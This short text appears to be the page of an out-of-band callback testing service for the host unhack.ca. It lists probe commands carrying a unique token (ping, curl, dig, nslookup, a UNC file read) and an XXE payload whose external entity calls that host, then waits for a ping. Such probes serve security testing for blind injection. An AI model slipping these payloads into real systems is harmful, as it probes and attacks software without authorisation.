$ ping -c1 -p 001937f018531333657ad22ac6111400 unhack.ca
$ curl http://unhack.ca/p/1937f018531333657ad22ac61114
$ dig 1937f018531333657ad22ac61114 @unhack.ca
$ dig 1937f018531333657ad22ac61114.ns.unhack.ca
C:\> nslookup 1937f018531333657ad22ac61114 unhack.ca
C:\> type \\unhack.ca\1937f018531333657ad22ac61114\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/1937f018531333657ad22ac61114">]>
<foo>&xxe;</foo>
Waiting for ping...